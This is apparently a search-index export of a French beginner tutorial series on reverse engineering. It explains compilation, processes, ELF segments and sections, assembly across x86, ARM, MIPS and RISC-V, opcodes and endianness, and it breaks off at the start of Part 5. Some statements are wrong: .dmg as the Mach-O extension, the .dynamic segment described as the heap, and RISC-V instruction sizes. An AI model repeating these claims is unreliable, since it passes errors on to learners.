fait de faire cuire le gâteau (compilation) dans le four (compilateur). En effet, tant que l’on ne cuit pas le gâteau, on ne pourra pas en manger 😋.En fait, un code source C, C++ ou Rust n’est pas exécutable directement par l’ordinateur. Il faut lui mâcher le travail pour qu’il ait du code qu’il peut comprendre plus facilement : c’est l’assembleur.Prenons par exemple le programme C suivant qui devrait parler à tout le monde :#include \"stdio.h\"int main(){\tputs(\"Hello world!\\n\");}Après compilation, la fonction main sera représentée par le code assembleur suivant : Mais qu’est-ce que c’est ce truc encore, c’est immonde 😵‍💫 !Si vous ne comprenez absolument rien au code assembleur, c’est tout à fait normal ! Nous y reviendrons plus tard, promis !Bien que ce code assembleur ne soit pas destiné à être très compréhensible pour un humain, le processeur lui, il sait exactement ce que cela représente et saura l’exécuter sans aucun soucis 😎.En fait, il faut voir le compilateur comme un traducteur d’un langage (exemple le C) vers un autre (par exemple de l’assembleur). Comme le processeur impose le langage machine utilisé, et bien en reverse on a pas tellement le choix, il est nécessaire de comprendre l’assembleur si on souhaite comprendre comment fonctionne un programme (même si j’avoue qu’il aurait pu faire un effort pour nous comprendre depuis le temps que l’on se connaît 😞) .C’est d’ailleurs pourquoi les programmes compilés sont plus rapides : le processeur sait déjà quoi exécuter et comment le faire. Pas besoin de plus d’étapes intermédiaires.Bien évidemment, tout le code source va être traité de cette manière. Ainsi, au final, toutes les fonctions, variables etc. seront transformées en code assembleur.🚩 Résultat : Un programme exécutableUne fois que l’étape de compilation est terminée, on obtient enfin le programme exécutable que l’on peut lancer en double cliquant dessus ou via ligne de commande ./mon_programme.En fait, il faut savoir que le compilateur ne fait pas que traduire le code en langage machine. En effet, pour obtenir un programme qui puisse être exécuté correctement, il est nécessaire de bien structurer ce dernier.De la même manière, quand vous mangez un gâteau, vous ne mangez pas d’abord tout le chocolat, puis les œufs, puis la farine etc. Pour un programme, c’est pareil, il faut bien le structurer pour que chaque chose ( et nous verrons quelles sont ces choses ) soit à sa place. Le processeur ne peut pas exécuter juste linéairement un programme, il a besoin que plusieurs zones mémoires soient agencées correctement. Mais quelles sont ces différentes zones qui constituent un programme ?Ça tombe bien c’est ce que nous allons voir de suite !" }, { "title": "Partie 3 - Le fonctionnement d'un programme - (2/2)", "url": "/posts/introduction_au_reverse_partie_3/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-28 08:00:00 -0200", "snippet": "Le fonctionnement d’un programme - (2/2)Avant de nous attaquer à du reverse à proprement parler, il est nécessaire de bien comprendre de quoi est composé un programme et comment est représenté un p...", "content": "Le fonctionnement d’un programme - (2/2)Avant de nous attaquer à du reverse à proprement parler, il est nécessaire de bien comprendre de quoi est composé un programme et comment est représenté un processus en mémoire. Il y a plusieurs formats d’exécutables en fonction de l’OS que vous utilisez : ELF pour les distributions Linux Mach-O pour Mac OS (merci Sherlock 🕵️‍♂️) dont l’extension est souvent .dmg PE pour Windows dont l’extension est souvent .exe ou .dllJe vous propose de nous intéresser au format ELF dans un premier temps. Il est plus accessible que le format PE bien que la logique derrière est similaire.Un programme, des processusLorsqu’un programme est exécuté par l’OS, il devient ce que l’on appelle : un processus. C’est-à-dire que c’est un programme exécuté en mémoire. Pour bien comprendre la différence entre programme et processus je vous propose de réaliser une petit expérience ensemble.Tout d’abord il faut que xclock soit installé sur votre machine. Si ce n’est pas le cas, vous pouvez l’installer via le paquet x11-apps. Sous une distro Debian-like : sudo apt install x11-apps.Ensuite ouvrez un terminal et saisissez la commande suivante : xclock -bg red &amp; xclock -bg black &amp; xclock -bg white &amp; xclock -bg green &amp;. Cela va lancer en arrière-plan 4 instances (processus) du programme xclock avec des couleurs différentes.Vous devriez obtenir quelque chose semblable à cela :A ce stade là, ces 4 processus xclock tournent en mémoire. Maintenant, que se passe-t-il si on tente de supprimer le programme xclock ?Pour cela, il faut d’abord trouver où il est installé avec which xclock. Par exemple /usr/bin/xclock. Ensuite, avant de supprimer le programme, faisons tout de même un copie avec cp /usr/bin/xclock /tmp/copie_de_xlcock.Une fois que la copie est faite, supprimons le programme avec sudo rm /usr/bin/xclock. Maintenant pour vérifier que le programme a bien été supprimé, lançons xclock dans un terminal et là, on obtient l’erreur command not found: xclock. Mais pourquoi les 4 instances de xclock sont toujours en cours d’exécution alors que l’on a supprimé le programme ?Justement ! Nous avons supprimé le programme qui était présent dans notre disque. Mais cela n’affecte pas les processus qui eux, sont exécutés indépendamment en mémoire. D’ailleurs si vous fermez un des quatre processus, cela ne fermera pas les autres qui continueront de fonctionner.Cela signifie donc que les instructions exécutées par le processeur lorsqu’un processus est lancé sont situées en mémoire. N’oubliez pas de restaurer la copie de xclock avec sudo cp /tmp/copie_de_xlcock /usr/bin/xclockLe format ELFMaintenant que l’on sait qu’un processus est totalement exécuté en mémoire, intéressons-nous aux différentes parties qui constituent un programme une fois exécuté en mémoire.Evidemment, le format ELF doit permettre à la fois de contenir les instructions du programme compilé (les fonctions, variables …) mais aussi la manière dont doit être chargé le programme en mémoire afin qu’il devienne un processus : quelles bibliothèques sont à charger ? Comment doit être agencé le processus en mémoire ? … Dans cette partie, on utilisera le terme ELF pour parler du programme compilé et vice versa.Ainsi, le format ELF est constitué des principales parties suivantes : Un entête ELF : commence par les magic bytes .ELF et qui contient les informations générales du programme sur l’architecture (32 ou 64 bits, compilé pour Intel ou ARM …) Program header table : cette partie liste les segments du programmes Section header table : cette partie liste les sections du programmes Le reste : contient les instructions, les données … Nous allons ci-dessous ce qu’est un segment et un section.Concernant l’entête ELF, c’est ce que l’on voit quand on affiche les premiers octets du programme. Allez avouez, on a tous déjà essayé d’afficher un programme en faisant cat programme en pensant pouvoir directement lire le code avant de tomber sur un truc du genre :Les segments et sectionsDésormais, voyons ce que sont les segments et sections. Je vous avoue qu’en commençant le reverse, je me suis arraché les cheveux car je n’arrivais pas à comprendre la différence entre les deux. TL-DR : Un segment est une zone mémoire qui contient plusieurs sections qui ont les mêmes attributs (ex : Lecture seule, exécutable …)En fait, en termes de processus, ce qui nous intéresse ce sont principalement les segments car les sections n’ont plus réellement d’utilité une fois que le programme est exécuté. Les sections ont du sens au moment où l’OS va devoir allouer les différentes zones mémoires du processus.Par exemple, toutes les sections qui contiennent des instructions doivent bien au moins avoir les attributs de lecture et exécution, non ? De cette manière, la section d’initialisation .init, celle qui contient le code .text (celui de la fonction main et des autres) et la section de fin .fini seront dans un même segment qui aura les droits RX.De la même manière, les sections qui contiennent des données modifiables telles que .bss (données initialisées à 0) et .data (données initialisés et modifiables. Ex : les variables globales, statiques …) seront dans un segment ayant les droits RW.Par contre, la section .rodata qui ne contient que des données non modifiables (comme la string Hello world !\\n ) sera dans un autre segment qui aura seulement l’attribut R.Il y a plein d’autres sections dont je ne vais pas vous parler car elles ne sont pas forcément les plus intéressantes en reverse mais peuvent l’être pour de l’exploitation de binaires telles que .plt,.plt.got,.got etc.Pour afficher les différents segments d’un programme ELF, on peut utiliser la commande readelf -l programme. Vous pouvez faire un simple programme “Hello world” et le compiler afin de pouvoir lire les informations via readelf. Si vous avez la flemme, vous pouvez tout simplement utiliser readelf sur les programmes de base de votre distro comme cat, ls etc. car ce sont aussi des fichiers ELF 😉.Le nom des différents segments ne nous intéresse pas plus que ça. En fait ce sont surtout les segments suivants qui sont importants pour nous (ainsi que les sections qu’ils comportent) : le segment 🔴 contient du code exécutable et doit donc avoir les attributs de lecture et d’exécution le segment 🟣 contient des données qui ne sont qu’en lecture seule ( comme des chaînes de caractères qui n’ont pas besoin d’être modifiées) le segment 🟢 contient des données modifiables mais n’ayant pas besoin d’être exécutées : cette zone mémoire n’aura besoin que des droits de lecture et écriture le segment 🔵 contient la section .dynamic et contiendra, comme son nom l’indique, les données allouées dynamiquement. Comme les allocations réalisées par malloc. C’est ce que l’on appelle le tas (ou heap). Le segment 🟡 contient la pile d’exécution appelée stack. C’est une zone mémoire qui contiendra notamment les variables locales et qui fonctionne, comme son nom l’indique, sous forme de pile : Premier arrivé, dernier servi. La heap est désignées par “tas” en français mais cela n’a rien à voir avec la structure de données nommée tas. On l’appelle tas car il y a un tas de choses dedans allouées dynamiquement et qui sont souvent hétérogènes. Mais comment savoir de quels attributs dispose un segment ?Il y a différentes manière d’avoir cette information. La première est d’utiliser la commande précédente readelf -l programme. La première partie affichée est le nom des segments avec leurs attributs (E pour Execute au lieu de X). Nous verrons l’autre manière un peu plus tard via un débogueur.Agencement en mémoireBon j’avoue que ce sont pas mal d’informations qui ne sont pas forcément évidentes. Tous les détails ne sont pas cruciaux mais s’il y a une chose à retenir c’est la tête qu’a l’agencement final du processus une fois le programme en mémoire : Etant donné que le tas est dédié à l’allocation dynamique de données, c’est un segment que l’on ne voit pas dans le programme tant qu’il n’est pas exécuté car cette zone mémoire est créée dynamiquement au lancement du programme. Il en est de même pour la pile qui est une zone mémoire allouée lors du lancement du programme. Ici l’adresse la plus basse 0x00000000 a été mise tout en haut mais cela ne signifie pas qu’un processus est chargé à cette adresse. C’est d’ailleurs jamais le cas. L’adresse 0x00000000 sur ce schéma permet juste de garder en tête que l’on représente les adresses basses vers le haut et les adresses hautes vers le bas. De la même manière, la pile d’exécution n’atteint pas l’adresse 0x7fffffff.Voilà ! Vous savez désormais comment est agencé un processus en mémoire 😎. En effet, tout le processus est présent entre les zone mémoire 0x00000000 et 0x7FFFFFFF (sans pour autant remplir tout cet intervalle) T’es sérieux ! Tu aurais pu juste nous résumer ça avec ce schéma au lieu de nous raconter tout ce charabia 🤯 !En fait, bien que toutes les informations précédentes ne soient pas indispensables, il est tout de même nécessaire de savoir de quoi il s’agit quand on vous parle de .text ou .data, de la pile ou du tas par exemple. Et pourquoi les adresses basses sont en haut au lieu d’être en bas 😓 ?!Alors c’est l’une des choses les plus déroutantes en reverse ( voire informatique ) mais les adresses basses sont situés en haut alors que les adresse hautes en bas 😵‍💫. C’est une convention et je vous avoue que je ne sais pas pourquoi ni comment on en est arrivé là 😅.Au début pour s’y faire, c’est un peu fastidieux, mais à force de faire du reverse vous allez finir par vous y habituer. Promis !Liens avec la programmationCe que l’on a raconté ci-dessus peut vous paraître totalement abstrait alors essayons de voir quel lien il peut y avoir entre chaque zone mémoire et les divers éléments en programmation. Ainsi, voici ce que chaque segment contient : Dans la zone de code 🔴 ➡️ les instructions des différentes fonctions dont le main Dans la zone des données en lecture seule 🟣 ➡️ les données non modifiables telles que les chaînes de caractères présentes en tant qu’arguments pour les fonctions puts, printf … Exemple : Hello world!\\n Dans la zone des données modifiables 🟢 ➡️ les variables globales (déclarées en dehors de toute fonction), les variables statiques (déclarée avec le mot clé static) comme static int var;… Dans le tas 🔵 ➡️ les variables allouées dynamiquement avec malloc (en C) ou new (en C++). Ce sont des variables dont on ne connaît pas la taille avant l’exécution du programme tel que le nom de l’utilisateur. Exemple : char *username = malloc(n); Dans la pile 🟡 ➡️ les variables locales, c’est-à-dire la majorité des variables que l’on utilise. Il s’agit de celles qui ne sont pas allouées dynamiquement et sont déclarées au sein des fonctions sans le mot clé static. Exemple : int a; int b = 0x213; …Vous comprenez désormais pourquoi il est important de savoir distinguer ces différentes zones mémoire ? En fait elles contiennent chacune un certain type d’éléments issu de la programmation.Ainsi, lors d’une analyse d’un programme, cela ne sert à rien de chercher du code dans la section de données ou tenter de modifier la valeur d’une variable globale depuis la section de code.Autres formatsNous n’allons pas nous attarder sur les détails des autres formats car si vous avez bien compris le principe du format ELF et que vous avez en tête le schéma de la représentation d’un processus en mémoire, vous ne devriez pas avoir de soucis avec le format PE (Windows) ni Mach-O (Mac OS).Voici le format d’un programme PE : Sous Windows, on parle de section plutôt que de segment pour désigner une zone mémoire de code, données etc. Vous pouvez utilisez le package python readpe pour décortiquer le format PE. Si vous souhaitez une interface graphique, vous pouvez utiliser pe-bear.Et celui d’un programme Mach-O :Comme vous pouvez le constater, le principe général de ces formats est le même : Un entête propre à chaque OS La liste des segments Enfin, les segments avec leurs différentes sectionsOn remarque également qu’une certaine logique est présente dans les 3 formats : la zone mémoire de code est placée avant la zone mémoire de données. De cette manière vous ne devriez pas trop être dépaysés si vous basculez d’un format à un autre. A partir de maintenant, si on utilise le terme section c’est pour parler d’une zone mémoire de manière générale, pas forcément en termes de “section ELF” ou “section PE”…" }, { "title": "Partie 4 - L'assembleur", "url": "/posts/introduction_au_reverse_partie_4/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-27 08:00:00 -0200", "snippet": "L’assembleurIntroduction On peut enfin commencer à faire de l’assembleur ouuu 🙄 ?Nous y voilà ! Dans ce long chapitre nous allons aborder l’assembleur sous divers aspects. Tout d’abord, nous n’all...", "content": "L’assembleurIntroduction On peut enfin commencer à faire de l’assembleur ouuu 🙄 ?Nous y voilà ! Dans ce long chapitre nous allons aborder l’assembleur sous divers aspects. Tout d’abord, nous n’allons pas voir directement toutes les instructions assembleur existantes et imaginables mais nous allons poursuivre notre lancée afin de continuer à faire des liens entre reverse et fonctionnement d’un programme.Ainsi, nous allons nous intéresser dans un premier temps à la représentation assembleur des principaux éléments d’un programme, par exemple : les fonctions les variables (locales, dynamiques, globales, statiques …) les structures, tableaux et objets le passage des arguments la récupération de la valeur de retour les boucles les conditions etc.Je vous propose également de nous intéresser dans ce chapitre et les suivants aux outils que l’on utilise quasi-systématiquement en reverse comme les désassembleurs, décompilateurs et débogueurs.En fait c’est à partir de ce chapitre que l’on entre de plus en plus dans le monde de la rétro-ingénierie. C’est vrai que de prime abord les notions que nous allons voir vont paraître complexes voire bizarres. Mais au fur et à mesure que nous avançons vous allez vous y habituer et, je l’espère 😅, trouver ça intéressant et amusant 🤩🥳 !Qu’est-ce que l’assembleur ?L’assembleur ou langage machine, est le langage le plus bas niveau qu’il puisse y avoir. Par “plus bas niveau” on entend qu’il s’agit d’un langage compris directement par l’ordinateur et plus précisément par le processeur.En fait, c’est le processeur qui se charge d’exécuter toutes les instructions assembleur. Que ce soit les accès en mémoire vive (RAM), les calculs, les appels de fonctions, bref, c’est lui LE cerveau de l’ordinateur.Avant de pouvoir coder dans des langages plutôt facilement compréhensible par des humains, les programmes étaient développés en assembleur, ce qui permettait de faire exécuter le processeur les instructions que l’on voulait.De nos jours, les développeurs privilégient des langages plus haut niveau qui offrent de nouveaux paradigmes de programmation comme la programmation orientée objet (ou POO), la programmation parallèle et concurrente …Ainsi, l’assembleur est beaucoup moins utilisé en tant que langage de programmation qu’il ne l’était auparavant. Si, en tant que reverser, on s’embête à apprendre l’assembleur c’est parce que l’on doit pouvoir comprendre, en mettant la main dans le cambouis, ce que fait un programme compilé lorsque les outils de reverse ne nous permettent pas d’aller plus loin. Cela arrive notamment avec les programmes fortement obfusqués (ou protégés).Cependant, l’assembleur étant le langage le plus bas niveau, il est utilisé dans les projets où il est nécessaire d’être le plus performant possible en termes d’opérations, calculs etc. Exemple : les projets orientés “temps réel” ou les projets liés au décodage d’audio/vidéo.A titre d’exemple, le récent projet dav1d qui est un décodeur du codec AV1 dispose de plus de 200 000 lignes d’assembleur 🤯 !Sur l’émission Underscore_ de Micode, ils expliquent que ce choix leur permet d’atteindre un facteur x10 en termes de rapidité.Comme quoi, l’assembleur a de beaux jours devant lui 😎 !🔢 Une assemblée d’assembleursEtant donné que l’assembleur est le langage machine exécutée directement par le processeur, il faut que le processeur puisse le comprendre. On pourrait donc penser qu’il n’y a qu’un seul type d’assembleur mais ce n’est pas aussi simple que cela.En effet, de la même manière qu’il y a différents carburants (diesel, essence, kérosène …) pour les moteurs, il existe différents langages assembleur (x86, ARM, MIPS, RISC-V …) selon le processeur. Pour pousser l’analogie un peu plus loin, il faut voir un langage assembleur un peu comme un carburant.C’est-à-dire que c’est une source que l’on donne en entrée au moteur (processeur) afin qu’il puisse fonctionner. De manière générale, on sait qu’un carburant est brûlé afin de produire des explosions qui font tourner le moteur.Il peut y avoir tout de même de petites différences : un moteur diesel est plus “long à la détente” qu’un moteur essence qui est plus nerveux. Un moteur essence allumé a encore besoin d’utiliser les bougies pour provoquer des explosions alors que le moteur diesel peut provoquer les explosions qu’avec des compressions.Ainsi, d’un point de vu “macro”, il n’ y a pas tellement de différence entre un programme compilé pour x86 ( processeurs utilisés par AMD et Intel) ou ARM (processeurs utilisés sur la majorité des smartphones, Mac …) du point de vue d’un programmeur ou de l’utilisateur (quoique peut être la taille de l’exécutable final).Mais en termes d’exécution, à l’œil nu, personne ne pourrait savoir de quel processeur il s’agit. Par contre, si on fait le reverse 🧐 de deux applications , l’une compilé en x86 et l’autre en ARM, nous verrons que l’assembleur utilisé n’est pas le même !Pour vous illustrer ces propos, prenons l’exemple d’une fonction très simple qui ne fait que retourner 0 :int rien() {\treturn 0;}Voici comment va être compilée cette fonction selon différents langages assembleurs (vous pouvez essayer aussi sur ce site) : x86_64 : push rbp mov rbp, rsp mov eax, 0 pop rbp ret ARM : mov w0, 0 ret MIPS : addiu $sp,$sp,-8 sw $fp,4($sp) move $fp,$sp move $2,$0 move $sp,$fp lw $fp,4($sp) addiu $sp,$sp,8 jr $31 nop RISC-V : addi sp,sp,-16 sd s0,8(sp) addi s0,sp,16 li a5,0 mv a0,a5 ld s0,8(sp) addi sp,sp,16 jr ra Ce sont les 4 langages d’assembleur les plus utilisés. Il y en a plein d’autres mais qui ne sont pas forcément encore très utilisés, autant ne pas nous y attarder (exemple : l’assembleur de votre TI-82 🤓). On parle également de d’architectures pour parler des différents langages d’assembleur.Comme vous pouvez le constater, certains assembleurs sont plus verbeux que d’autres 😅. Nous aurons l’occasion de comprendre pourquoi il y a de telles différences. Vous pouvez voir quelle est l’architecture de votre PC en utilisant les commandes : lscpu | grep Arch sous Linux $env:PROCESSOR_ARCHITECTURE dans Power Shell sous Windows Une question de tailleComme s’il n’y avait pas déjà assez de soucis comme ça, sachez qu’il y a également au sein d’une même architecture différentes versions notamment liées à la taille des données que le processeur peut traiter directement.Par exemple l’assembleur x86 d’Intel et AMD est une version 32 bits alors que la version x86_64 est une version 64 bits. On appelle souvent l’architecture x86_64 : AMD64 (même s’il s’agit d’un processeur Intel) Quelles est la différence entre de l’assembleur 32 bits et 64 bits ?La principale différence est qu’un processeur va pouvoir directement traiter des données de 64 bits d’un coup, là où un processeur 32 bits va devoir traiter 32 bits par 32 bits.En effet un processeur dispose de registres qui sont en quelque sorte de petites zones mémoire dans le processeur. Cela lui permet de faire certaines opérations (calculs, déplacement de valeurs, stockage …) sans avoir à passer par la RAM qui se situe plus loin, ce qui implique des performances moins élevées dans le cas où la mémoire serait utilisée.L’avantage de ces registres est qu’ils permettent au processeur d’être plus performant. Leur principale inconvénient est qu’il n’y en a pas beaucoup, de l’ordre de la dizaine voire vingtaine.Les constructeurs ne savaient pas réaliser des registres de 64 bits à l’époque, c’est pourquoi les anciens processeurs utilisent 32 bits alors que les plus récents utilisent 64 bits car leurs registres sont désormais de 64 bits.C’est un peu comme la différence entre un moteur essence V8 et un moteur essence V12. Certes le carburant peut être plus ou moins le même mais les performances ne seront pas pareilles.C’est pourquoi de nos jours nous avons des OS 64 bits et des applications 64 bits : c’est plus rapide 🚀 ! De plus, un OS 64 bits est rétrocompatible. Cela signifie qu’il pourra exécuter des programmes compilés en assembleur 32 bits. Evidemment l’inverse n’est pas possible.Ainsi, les principales différences qu’il est possible de constater entre deux assembleurs de tailles différentes est la taille des registres utilisés.Voici quelques exemples : Différences entre x86 (32 bits) et x86_64 (64 bits) : x86 : push ebp mov ebp, esp xor eax, eax pop ebp ret x86_64 : push rbp mov rbp, rsp xor rax, rax pop rbp ret Différences entre ARM 32 et ARM 64 : ARM 32 : push {r7} add r7, sp, #0 movs r3, #0 mov r0, r3 mov sp, r7 ldr r7, [sp], #4 bx lr ARM 64 : mov x0, 0 ret Différences entre RISC-V 32 et RISC-V 64 : RISC-V 32 : addi sp,sp,-16 sw s0,12(sp) addi s0,sp,16 li a5,0 mv a0,a5 lw s0,12(sp) addi sp,sp,16 jr ra RISC-V 64 : addi sp,sp,-16 sd s0,8(sp) addi s0,sp,16 li a5,0 mv a0,a5 ld s0,8(sp) addi sp,sp,16 jr ra \t Finalement, on remarque que les principales différences subsistent dans les noms des registres utilisés : eax/rax, r0/x0 où le registre de gauche est de 32 bits alors que celui de droite est de 64 bits. La version ARM 64 a effectivement effectué pas mal d’optimisations pour en arriver à limiter drastiquement le nombre d’instructions nécessaires pour une tâche donnée.CISC vs RISCToutes ces architectures peuvent être classées en deux catégories : CISC (Complex Instruction Set Computer) : Microprocesseur à jeu d’instruction étendu. Cela signifie que le nombre d’octets pour représenter une instruction n’est pas fixe. Cela peut être 1 octets, 3 octets voire 15 octets RISC (Reduced Instruction Set Computer) : Microprocesseur à jeu d’instructions réduit. Cela signifie que le nombre d’octets pour représenter une instruction est fixe. Par exemple pour : ARM : 2 ou 4 octets RISC-V : 4, 8 ou 16 octets Je ne comprends pas ce que veut dire “le nombre d’octets pour représenter une instruction”. C’est quoi la taille d’une instruction ? Le nombre de caractères dans push rbp par exemple 🤔 ?En fait, il faut que vous sachiez une chose. Quand on dit que l’assembleur est un langage machine ce n’est pas totalement vrai. En réalité, le processeur ne va pas exécuter une instruction qui lui dit de mettre la valeur 0 dans le registre eax avec mov eax, 0 : il ne sait ni ce qu’est mov, ni ce que l’on appelle eax.Par contre, si le processeur reçoit les 5 octets suivants b8 00 00 00 00, eh bien il saura directement qu’il doit mettre la valeur 0 dans un certain registre (que nous appelons, nous humains, eax).Vous vous demandez sûrement d’où sort cette suite de 5 octets. Je ne l’ai pas sortie de mon chapeau. En effet, le code d’opération de l’instruction mov eax, 0 est b8 00 00 00 00. Ces octets, c’est ce que l’on appelle les opcodes. Ce sont les données que le processeur va réellement exécuter. Vous vous souvenez, quand vous étiez petits, on vous disait “l’ordinateur ne comprend que les suites de 0 et de 1”.Ça tombe bien ! b8 00 00 00 00 est la suite de 0 et de 1 suivante : 10111000 00000000 00000000 00000000 00000000. En tant qu’humain, on préfère évidemment que cela reste affiché en hexadécimal et même sous la forme mov eax, 0 🤗.Pour revenir à la notion de RISC et CISC, prenons l’exemple d’une fonction main (qui ne fait que retourner 0) compilée pour x86_64 et ARM 32. x86_64 : ARM 32 : ⚪ : adresses 🔵 : opcodes 🟢 : instructionsCe qui est encadré en bleu représente les opcodes générés après compilation. Afin d’obtenir du code compréhensible pour un humain, une étape de désassemblage est réalisée. On obtient alors le code encadré en vert.Le désassemblage est l’étape qui consiste à passer des opcodes aux instructions assembleur associées, compréhensibles par des humains.Enfin, les adresses des instructions en mémoire sont encadrées en gris.Finalement, ce que reçoit réellement un processeur n’est pas ce qui est encadré en vert mais plutôt ce qui l’est en bleu ! Ainsi, afin d’exécuter la fonction main, un processeur x86 exécutera la suite d’octets suivante : f3 0f 1e fa 55 48 89 e5 b8 00 00 00 00 5d c3.On remarque également la différence entre le type CISC de x86 et RISC d’ARM : les instructions en ARM sont soit codées sur 2 ou 4 octets, ni plus ni moins alors qu’en x86, il n’y a, presque, pas de contraintes ! Le fait d’utiliser des tailles d’instructions qui varient dans les architectures CISC comme x86 permet d’utiliser des opcodes plus petits pour les instructions les plus courantes. Par exemple, les instructions push rbp, pop rbp et ret sont présentes dans quasiment toutes les fonctions d’un programme C / C++. Elles sont donc représentées avec un opcode d’un seul octet, ce qui permet de réduire la taille du programme. En effet, une conséquence d’utiliser un jeu d’instruction réduit dans RISC est qu’il faudra plus d’instructions pour réaliser une tâche. Qui dit plus d’instructions dit plus d’opcodes et donc dit un programme (légèrement) plus volumineux. C’est pourquoi dans les précédents exemples, ARM, MIPS et RISC-V semblaient plus verbeux.Le boutismeLe boutisme (ou endianness 🇬🇧) est une manière de représenter les données en mémoire. En fait, quand on se penche sur la question du stockage de données en mémoire, on fait rapidement face à un problème.Le problème : J’ai l’entier de 4 octets (32 bits donc) suivant 0xaabbccdd que je souhaite stocker dans la zone mémoire suivante constituée seulement de 4 octets :Mémoire :[0] -&gt; ?[1] -&gt; ?[2] -&gt; ?[3] -&gt; ?La question que l’on peut légitimement se poser est : quel est l’indice 0 dans 0xaabbccdd, '0xaa' ou '0xdd' ?En gros, par quel bout commence-t-on ? Par l’octet de poids fort 0xaa, de gauche à droite ? Ou l’octet de poids faible 0xdd de droite à gauche ?Il y a ainsi deux manières de faire. Ceux qui ont répondu 0xaa à la précédente question vont stocker la string en mémoire de cette manière :BE -&gt; Big Endian[0] -&gt; 0xaa[1] -&gt; 0xbb[2] -&gt; 0xcc[3] -&gt; 0xddLa seconde manière, pour ceux qui ont répondu 0xdd est :LE -&gt; Little Endian[0] -&gt; 0xdd[1] -&gt; 0xcc[2] -&gt; 0xbb[3] -&gt; 0xaaLa première méthode est le Big Endian (Grand Boutiste 🇫🇷) abrégé en BE.La seconde méthode est le Little Endian (Petit Boutiste 🇫🇷) abrégé en LE.Il faut savoir que c’est le Little Endian qui est le plus utilisé (en ARM, x86, MIPSel, …) bien que la valeur affichée en mémoire semble être “à l’envers” contrairement au Big Endian. Alors là, je suis perdu ! On parlait d’assembleur il y a quelques instants et d’un coup, on parle de big indien et petit bouddhiste 🤨Vous en faites pas, c’est normal si vous n’êtes pas encore totalement à l’aise avec le boutisme ! Il s’agit d’une notion qu’il faut garder dans un coin de la tête afin de ne pas s’étonner que certaines valeurs soient stockées “à l’envers” en mémoire.C’est à force d’utiliser un debugger et de décortiquer la mémoire d’un programme que l’on s’y habitue petit à petit.Résumé de chaque architectureAprès avoir réalisé ces différentes comparaisons, voici un petit résumé des spécificités et différences entre les différentes architectures.x86 Principales évolutions : x86 (version 32 bits), x87 (permet le calcul en virgule flottante) et x86_64 (version 64 bits) Jeu d’instructions : CISC Taille des opcodes : Variable. De 1 à 15 octets Boutisme : Little Endian (LE) Spécificités : Utilisé par Intel et AMD Noms des principaux registres : En version 32 bits : eax,ebx,ecx,edx,edi,esi,eip,esp,ebp … Remplacer le e du début du nom du registre par un r pour avoir la version 64 bits (ex : rax) Utilisé dans : la majorité des PC, serveurs et stations de travailARM Principales évolutions : ARMv1 à ARMv7 (versions 32 bits) puis ARMv8 (versions 64 bits) Jeu d’instructions : RISC Taille des opcodes : 2 ou 4 octets Boutisme : Little Endian (LE) Spécificités : Un mode “Thumb” qui peut être activé et désactivé à tout moment. Il s’agit d’un mode qui utilise des instructions de plus petite taille (2 octets). Il est initialement utilisé pour des appareils dont l’espace mémoire est limité (ex: IoT). Noms des principaux registres : En version 32 bits : r0, r1, r2, r3, sp, lr ,pc … Remplacer le r de début des noms de registres par x pour avoir la version 64 bits Utilisé dans : les smartphones, tablettes, IoT, Macbook, iMac …MIPS Principales évolutions : MIPS I à MIPS V, MIPS32, MIPS64 … Jeu d’instructions : RISC Taille des opcodes : 4 octets Boutisme : MIPSel Little Endian (LE) ou Big Endian (BE) Noms des principaux registres : 1. $zero, $at, $v0-$v1, $a0-$a3, $t0-$t9, $s0-$s7, $t8-$t9, $k0-$k1, $gp, $sp, $fp Utilisé dans : Consoles (Playstation 1 et 2, Nintendo 64 …), routeurs, systèmes embarqués Spécificités : Branch delay: les instructions de sauts sont exécutées avec l’instruction située immédiatement après (en-dessous) du saut.Par exemple, si on se situe dans une zone de code A et qu’il y a un saut vers une zone de code B, en ARM ou x86, lorsque le saut est effectué, la prochaine instruction exécutée est dans la zone B.Tandis qu’en MIPS, sachant qu’il y a une sorte de “retard” lors d’un saut, la prochaine instruction exécutée après le saut est celle qui était en dessous de l’instruction de saut dans la zone A.Prenons l’exemple suivant (même si on ne sait pas ce que fait chacune de ces instructions) :Dans cet exemple, lors du saut (ou branchement) bne, l’instruction nop est exécutée avant li. Alors que dans les autres architectures (ARM, x86 …), les instructions exécutées seraient tout simplement bne puis li.Pour résumer, en MIPS, à chaque fois qu’un branchement est réalisé, l’instruction située immédiatement après l’instruction de saut est d’abord exécutée avant l’instruction “de destination”.RISC-V Jeu d’instructions : RISC (merci Sherlock 🕵️‍♂️ !) Taille des opcodes : 4, 8 ou 16 octets Boutisme : Little Endian (LE) Spécificités : Open source. Assez récent (2014). Noms des principaux registres : x0-x31 Utilisé dans : de plus en plus d’appareils même si la part du marché représentée est, à ce jour, encore très faible face à ARM ou x86📋 Synthèse L’assembleur est le langage le plus bas niveau permettant de donner des instructions au processeur afin qu’il les exécute Il existe plusieurs assembleurs (ou architectures) en fonction du processeur utilisé Plusieurs évolutions ont eu lieu dont l’augmentation de tailles des données manipulées (32, 64 bits …) Le processeur n’exécute “réellement” que les opcodes qui sont des valeurs souvent représentées en hexadécimal La taille des opcodes peut être fixe (RISC) ou variable (CISC) Il existe différentes manières de représenter des données en mémoire, en commençant par l’octet de poids faible, c’est le Little Endian, le plus utilisé. Ou en commençant par l’octet de poids fort, c’est le Big Endian." }, { "title": "Partie 5 - Analyse statique d'un mini-programme - introduction (1/5)", "url": "/posts/introduction_au_reverse_partie_5/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-26 08:00:00 -0200", "snippet": "Analyse statique d’un mini-programme : introduction (1/5)Je vous propose de faire le reverse d’un programme assez simple afin que vous puissiez pratiquer et faire le lien avec les parties théoriqu...", "content": "Analyse statique d’un mini-programme : introduction (1/5)Je vous propose de faire le reverse d’un programme assez simple afin que vous puissiez pratiquer et faire le lien avec les parties théoriques abordées.Plus précisément, il s’agit d’une analyse statique du programme. Cela signifie que nous n’allons pas l’exécuter ni analyser son exécution dans un débogueur. De toute manière pour un programme aussi simple que celui que nous allons compiler, il n’y en a pas besoin 😅.Nous allons passer pas mal de temps, lors des différentes étapes de reverse, afin de rentrer de plus en plus dans les détails et faire des liens entre programmation / assembleur etc.Veuillez donc m’excuser d’avance si le reverse de ce programme s’étale sur plusieurs chapitre mais il est primordiale, pour ne pas dire nécessaire, de passer pas mal de temps sur certaines notions de base en reverse 😇. Nous allons nous focaliser exclusivement sur l’architecture x86 qui est celle qui est la plus utilisée sur les 